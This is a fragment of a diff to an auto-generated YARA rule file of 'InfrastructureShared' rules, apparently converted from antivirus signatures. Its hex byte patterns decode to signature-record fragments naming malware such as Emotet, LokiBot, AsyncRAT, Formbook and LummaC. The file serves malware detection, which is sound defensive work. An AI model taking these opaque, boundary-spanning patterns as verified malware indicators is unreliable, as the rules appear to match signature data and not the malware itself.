_InfrastructureShared_2380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24508,7 +24734,7 @@ rule _InfrastructureShared_2360{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2361{ +rule _InfrastructureShared_2381{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24518,7 +24744,7 @@ rule _InfrastructureShared_2361{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2362{ +rule _InfrastructureShared_2382{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24528,7 +24754,7 @@ rule _InfrastructureShared_2362{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2363{ +rule _InfrastructureShared_2383{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24538,7 +24764,7 @@ rule _InfrastructureShared_2363{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2364{ +rule _InfrastructureShared_2384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24548,7 +24774,7 @@ rule _InfrastructureShared_2364{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2365{ +rule _InfrastructureShared_2385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24558,7 +24784,7 @@ rule _InfrastructureShared_2365{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2366{ +rule _InfrastructureShared_2386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24568,7 +24794,7 @@ rule _InfrastructureShared_2366{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2367{ +rule _InfrastructureShared_2387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24578,7 +24804,7 @@ rule _InfrastructureShared_2367{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2368{ +rule _InfrastructureShared_2388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24588,7 +24814,7 @@ rule _InfrastructureShared_2368{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2369{ +rule _InfrastructureShared_2389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24598,7 +24824,7 @@ rule _InfrastructureShared_2369{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2370{ +rule _InfrastructureShared_2390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24608,7 +24834,7 @@ rule _InfrastructureShared_2370{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2371{ +rule _InfrastructureShared_2391{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24618,7 +24844,7 @@ rule _InfrastructureShared_2371{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2372{ +rule _InfrastructureShared_2392{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24628,7 +24854,7 @@ rule _InfrastructureShared_2372{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2373{ +rule _InfrastructureShared_2393{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24638,7 +24864,7 @@ rule _InfrastructureShared_2373{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2374{ +rule _InfrastructureShared_2394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24648,7 +24874,7 @@ rule _InfrastructureShared_2374{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2375{ +rule _InfrastructureShared_2395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24658,7 +24884,7 @@ rule _InfrastructureShared_2375{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2376{ +rule _InfrastructureShared_2396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24668,7 +24894,7 @@ rule _InfrastructureShared_2376{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2377{ +rule _InfrastructureShared_2397{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24678,7 +24904,7 @@ rule _InfrastructureShared_2377{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2378{ +rule _InfrastructureShared_2398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24688,7 +24914,7 @@ rule _InfrastructureShared_2378{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2379{ +rule _InfrastructureShared_2399{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24698,7 +24924,7 @@ rule _InfrastructureShared_2379{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2380{ +rule _InfrastructureShared_2400{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24708,7 +24934,7 @@ rule _InfrastructureShared_2380{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2381{ +rule _InfrastructureShared_2401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24718,7 +24944,7 @@ rule _InfrastructureShared_2381{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2382{ +rule _InfrastructureShared_2402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24728,7 +24954,7 @@ rule _InfrastructureShared_2382{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2383{ +rule _InfrastructureShared_2403{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24738,7 +24964,7 @@ rule _InfrastructureShared_2383{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2384{ +rule _InfrastructureShared_2404{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24748,7 +24974,7 @@ rule _InfrastructureShared_2384{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2385{ +rule _InfrastructureShared_2405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24758,7 +24984,7 @@ rule _InfrastructureShared_2385{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2386{ +rule _InfrastructureShared_2406{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24768,7 +24994,7 @@ rule _InfrastructureShared_2386{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2387{ +rule _InfrastructureShared_2407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24778,7 +25004,7 @@ rule _InfrastructureShared_2387{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2388{ +rule _InfrastructureShared_2408{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24788,7 +25014,7 @@ rule _InfrastructureShared_2388{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2389{ +rule _InfrastructureShared_2409{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24798,7 +25024,7 @@ rule _InfrastructureShared_2389{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2390{ +rule _InfrastructureShared_2410{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24808,7 +25034,7 @@ rule _InfrastructureShared_2390{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2391{ +rule _InfrastructureShared_2411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24818,7 +25044,7 @@ rule _InfrastructureShared_2391{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2392{ +rule _InfrastructureShared_2412{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24828,7 +25054,7 @@ rule _InfrastructureShared_2392{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2393{ +rule _InfrastructureShared_2413{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24838,7 +25064,7 @@ rule _InfrastructureShared_2393{ ((#a_6e_0 & 1)*21027) >=1 } -rule _InfrastructureShared_2394{ +rule _InfrastructureShared_2414{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24848,7 +25074,7 @@ rule _InfrastructureShared_2394{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_2395{ +rule _InfrastructureShared_2415{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24858,7 +25084,7 @@ rule _InfrastructureShared_2395{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_2396{ +rule _InfrastructureShared_2416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24868,7 +25094,7 @@ rule _InfrastructureShared_2396{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2397{ +rule _InfrastructureShared_2417{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24878,7 +25104,7 @@ rule _InfrastructureShared_2397{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2398{ +rule _InfrastructureShared_2418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24888,7 +25114,7 @@ rule _InfrastructureShared_2398{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2399{ +rule _InfrastructureShared_2419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24898,7 +25124,7 @@ rule _InfrastructureShared_2399{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2400{ +rule _InfrastructureShared_2420{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24908,7 +25134,7 @@ rule _InfrastructureShared_2400{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2401{ +rule _InfrastructureShared_2421{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24918,7 +25144,17 @@ rule _InfrastructureShared_2401{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2402{ +rule _InfrastructureShared_2422{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_6f_0 = {61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 62 6f 6f 6b 2e 41 49 41 45 21 4d 54 42 00 01 00 14 01 61 d2 81 01 00 00 01 1f 0d 13 10 38 2f fe ff ff 11 07 17 59 00 00 78 40 00 00 01 00 01 00 01 00 21 23 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 6d 6f 74 65 74 2e 47 4d 31 00 01 00 1a 02 8a 0c 01 32 8c 15 90 01 04 88 08 40 ff 4d 90 01 01 89 45 90 01 01 } //21539 + condition: + ((#a_6f_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_2423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24928,7 +25164,7 @@ rule _InfrastructureShared_2402{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2403{ +rule _InfrastructureShared_2424{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24938,7 +25174,7 @@ rule _InfrastructureShared_2403{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2404{ +rule _InfrastructureShared_2425{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24948,7 +25184,7 @@ rule _InfrastructureShared_2404{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2405{ +rule _InfrastructureShared_2426{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -24959,7 +25195,7 @@ rule _InfrastructureShared_2405{ ((#a_54_0 & 1)*18467+(#a_4f_1 & 1)*29295) >=1 } -rule _InfrastructureShared_2406{ +rule _InfrastructureShared_2427{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -24969,29 +25205,49 @@ rule _InfrastructureShared_2406{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2407{ +rule _InfrastructureShared_2428{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : - $a_54_0 = {3a 4d 69 75 72 65 66 64 6c 6c 5f 4f 62 66 75 73 31 00 01 00 07 01 81 fa 00 2c 00 00 72 01 00 07 01 81 f9 00 2c 00 00 72 01 00 06 01 3d 00 2c 00 00 72 00 00 78 40 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 6f 6b } //18467 - $a_74_1 = {52 44 4d 21 4d 54 42 00 02 00 12 01 11 07 20 00 64 01 00 5d 13 09 07 11 08 91 13 0a 11 0d 00 00 78 40 00 00 02 00 02 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 72 61 67 74 6f 72 2e 41 52 41 21 4d 54 42 00 02 00 10 01 8a 14 3a 8a 0c 30 32 ca 5a 88 0c 10 40 59 e2 d6 00 00 78 40 00 00 02 00 02 00 01 00 21 } //17001 - $a_4c_2 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 61 6e 6f 63 6f 72 65 2e 53 50 58 46 21 4d 54 42 00 02 00 10 01 91 04 07 04 8e 69 5d 91 61 d2 9c 00 07 17 58 0b 00 00 78 40 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 } //21539 + $a_54_0 = {3a 4d 69 75 72 65 66 64 6c 6c 5f 4f 62 66 75 73 31 00 01 00 07 01 81 fa 00 2c 00 00 72 01 00 07 01 81 f9 00 2c 00 00 72 01 00 06 01 3d 00 2c 00 00 72 00 00 78 40 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 } //18467 + $a_41_1 = {2e 41 52 41 21 4d 54 42 00 02 00 11 01 65 66 65 20 02 00 00 00 63 61 fe 09 00 00 61 d1 9d 00 00 78 40 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 6f 6b 69 42 6f 74 2e 52 44 4d 21 4d 54 42 00 02 00 12 01 11 07 } //25454 + $a_01_2 = {00 5d 13 09 07 11 08 91 13 0a 11 0d 00 00 78 40 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 43 2e 45 4e 43 21 4d 54 42 00 02 00 12 01 33 14 81 31 fa 89 94 81 0c f0 ff ff 40 3d e1 04 00 00 00 00 78 40 00 00 02 00 02 00 01 00 21 23 48 53 54 52 3a 54 } //32 condition: - ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*17001+(#a_4c_2 & 1)*21539) >=1 + ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*25454+(#a_01_2 & 1)*32) >=1 } -rule _InfrastructureShared_2408{ +rule _InfrastructureShared_2429{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 6f 6b 69 42 6f 74 2e 52 44 4d 21 4d 54 42 00 02 00 12 01 11 07 20 00 64 01 00 5d 13 09 07 11 08 91 13 0a 11 0d 00 00 78 40 00 00 02 00 02 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a } //16675 + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 41 52 41 21 4d 54 42 00 02 00 11 01 65 66 65 20 02 00 00 00 63 61 fe 09 00 00 61 d1 9d 00 00 78 40 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d } //16675 condition: ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_2409{ +rule _InfrastructureShared_2430{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 6f 6b 69 42 6f 74 2e 52 44 4d 21 4d 54 42 00 02 00 12 01 11 07 20 00 64 01 00 5d 13 09 07 11 08 91 13 0a 11 0d 00 00 78 40 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=2 + +} +rule _InfrastructureShared_2431{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 43 2e 45 4e 43 21 4d 54 42 00 02 00 12 01 33 14 81 31 fa 89 94 81 0c f0 ff ff 40 3d e1 04 00 00 00 00 78 40 00 00 02 00 02 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a } //16675 + condition: + ((#a_46_0 & 1)*16675) >=2 + +} +rule _InfrastructureShared_2432{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -25001,7 +25257,7 @@ rule _InfrastructureShared_2409{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_2410{ +rule _InfrastructureShared_2433{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -25011,7 +25267,7 @@ rule _InfrastructureShared_2410{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_2411{ +rule _InfrastructureShared_2434{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -25021,7 +25277,7 @@ rule _InfrastructureShared_2411{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_2412{ +rule _InfrastructureShared_2435{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -25031,7 +25287,7 @@ rule _InfrastructureShared_2412{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_2413{ +rule _InfrastructureShared_2436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -25042,40 +25298,51 @@ rule _InfrastructureShared_2413{ ((#a_53_0 & 1)*20515+(#a_00_1 & 1)*110) >=2 } -rule _InfrastructureShared_2414{ +rule _InfrastructureShared_2437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 05 01 6a 5d 6a 20 e8 01 00 10 01 45 78 63 6c 75 64 65 55 70 64 61 74 65 52 67 6e 00 00 78 40 00 00 02 00 02 00 02 00 21 23 6f 62 66 5f 41 43 56 5f 6c 6f 77 66 69 00 01 00 13 03 83 fa 40 7e 0b 0f b7 55 90 01 01 83 ca 20 66 89 55 90 00 01 00 0d 03 c1 e2 04 8b 4d 90 } //25635 - $a_e9_1 = {90 00 00 00 78 40 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 46 50 54 6f 67 61 00 01 00 0c 01 5c 5c 2e 5c 53 4d 41 52 54 56 53 44 01 00 08 01 53 43 53 49 44 49 53 4b 01 00 0a 01 74 72 64 71 32 31 2d 63 6b 6b 00 00 78 40 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 62 53 70 61 63 65 2e 67 65 6e 21 64 68 61 00 05 00 11 41 20 22 bf a9 5f 61 25 13 39 20 d4 00 00 00 5e 45 d4 00 00 78 41 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 4d 53 49 4c 2f 49 6e 6a 65 63 74 6f 72 2e 47 4d 00 01 00 11 01 8e 69 58 } //257 + $a_e9_1 = {90 00 00 00 78 40 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 46 50 54 6f 67 61 00 01 00 0c 01 5c 5c 2e 5c 53 4d 41 52 54 56 53 44 01 00 08 01 53 43 53 49 44 49 53 4b 01 00 0a 01 74 72 64 71 32 31 2d 63 6b 6b 00 00 78 40 00 00 04 00 04 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 61 7a 79 2e 47 50 41 4b 21 4d 54 42 00 04 00 13 03 74 01 ea 31 90 01 03 81 c6 04 00 00 00 39 ce 75 ed 90 00 00 00 78 40 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 62 53 70 61 63 65 2e 67 65 6e 21 64 68 61 00 05 00 11 41 20 22 bf a9 } //257 condition: ((#a_5f_0 & 1)*25635+(#a_e9_1 & 1)*257) >=2 } -rule _InfrastructureShared_2415{ +rule _InfrastructureShared_2438{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_66_0 = {41 43 56 5f 6c 6f 77 66 69 00 01 00 13 03 83 fa 40 7e 0b 0f b7 55 90 01 01 83 ca 20 66 89 55 90 00 01 00 0d 03 c1 e2 04 8b 4d 90 01 01 c1 e9 05 90 00 00 00 78 40 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 46 50 54 6f 67 61 00 01 00 0c 01 5c 5c 2e 5c 53 4d 41 52 54 56 53 44 01 00 08 01 53 43 } //28451 - $a_49_1 = {4b 01 00 0a 01 74 72 64 71 32 31 2d 63 6b 6b 00 00 78 40 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 62 53 70 61 63 65 2e 67 65 6e 21 64 68 61 00 05 00 11 41 20 22 } //18771 + $a_49_1 = {4b 01 00 0a 01 74 72 64 71 32 31 2d 63 6b 6b 00 00 78 40 00 00 04 00 04 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 61 7a 79 2e 47 50 41 4b 21 4d 54 42 00 04 00 13 03 74 01 ea 31 } //18771 condition: ((#a_66_0 & 1)*28451+(#a_49_1 & 1)*18771) >=2 } -rule _InfrastructureShared_2416{ +rule _InfrastructureShared_2439{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : - $a_54_0 = {3a 46 50 54 6f 67 61 00 01 00 0c 01 5c 5c 2e 5c 53 4d 41 52 54 56 53 44 01 00 08 01 53 43 53 49 44 49 53 4b 01 00 0a 01 74 72 64 71 32 31 2d 63 6b 6b 00 00 78 40 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 62 } //18467 - $a_63_1 = {2e 67 65 6e 21 64 68 61 00 05 00 11 41 20 22 bf a9 5f 61 25 13 39 20 d4 00 00 00 5e 45 d4 00 00 78 41 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 4d 53 49 4c 2f 49 6e 6a 65 63 74 6f 72 2e 47 4d 00 01 00 11 01 8e 69 58 1f 1f 5f 63 20 ff 00 00 00 5f d2 61 } //28755 + $a_54_0 = {3a 46 50 54 6f 67 61 00 01 00 0c 01 5c 5c 2e 5c 53 4d 41 52 54 56 53 44 01 00 08 01 53 43 53 49 44 49 53 4b 01 00 0a 01 74 72 64 71 32 31 2d 63 6b 6b 00 00 78 40 00 00 04 00 04 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 61 } //18467 + $a_47_1 = {41 4b 21 4d 54 42 00 04 00 13 03 74 01 ea 31 90 01 03 81 c6 04 00 00 00 39 ce 75 ed 90 00 00 00 78 40 00 00 05 00 05 00 01 00 21 23 41 4c } //31098 + $a_72_2 = {6a 61 6e 3a 4d 53 49 4c 2f 50 75 62 53 70 61 63 65 2e 67 65 6e 21 64 68 61 00 05 00 11 41 20 22 bf a9 5f 61 25 13 39 20 d4 00 00 00 5e 45 d4 00 00 78 41 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 4d 53 49 4c 2f 49 } //14918 condition: - ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*28755) >=3 + ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*31098+(#a_72_2 & 1)*14918) >=3 } -rule _InfrastructureShared_2417{ +rule _InfrastructureShared_2440{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 61 7a 79 2e 47 50 41 4b 21 4d 54 42 00 04 00 13 03 74 01 ea 31 90 01 03 81 c6 04 00 00 00 39 ce 75 ed 90 00 00 00 78 40 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=4 + +} +rule _InfrastructureShared_2441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -25085,7 +25352,7 @@ rule _InfrastructureShared_2417{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_2418{ +rule _InfrastructureShared_2442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25095,7 +25362,7 @@ rule _InfrastructureShared_2418{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2419{ +rule _InfrastructureShared_2443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25105,7 +25372,7 @@ rule _InfrastructureShared_2419{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2420{ +rule _InfrastructureShared_2444{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25115,7 +25382,7 @@ rule _InfrastructureShared_2420{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2421{ +rule _InfrastructureShared_2445{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25125,7 +25392,7 @@ rule _InfrastructureShared_2421{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2422{ +rule _InfrastructureShared_2446{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25135,7 +25402,7 @@ rule _InfrastructureShared_2422{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2423{ +rule _InfrastructureShared_2447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25145,7 +25412,7 @@ rule _InfrastructureShared_2423{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2424{ +rule _InfrastructureShared_2448{ meta: description = 